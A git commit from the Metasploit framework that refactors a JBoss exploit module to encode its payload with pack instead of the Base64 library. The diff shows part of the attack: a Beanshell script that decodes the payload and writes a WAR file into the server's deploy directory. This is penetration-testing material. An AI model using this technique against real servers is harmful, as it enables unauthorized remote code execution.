use pack instead of Base64

git-svn-id: file:///home/svn/framework3/trunk@9569 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2010-06-21 16:45:26 +00:00
parent 4ceb936533
commit 19742afb38
1 changed files with 2 additions and 2 deletions

View File

@ -10,7 +10,6 @@
##
require 'msf/core'
require 'base64'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
@ -97,11 +96,12 @@ class Metasploit3 < Msf::Exploit::Remote
# The following Beanshell script will write the exploded WAR file to the deploy/
# directory
encoded_payload = [p.encoded].pack('m').gsub(/\n/, '')
bsh_script = <<-EOT
import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;
String val = "#{Base64.encode64(p.encoded).gsub(/\n/, '')}";
String val = "#{encoded_payload}";
BASE64Decoder decoder = new BASE64Decoder();
String jboss_home = System.getProperty("jboss.server.home.dir");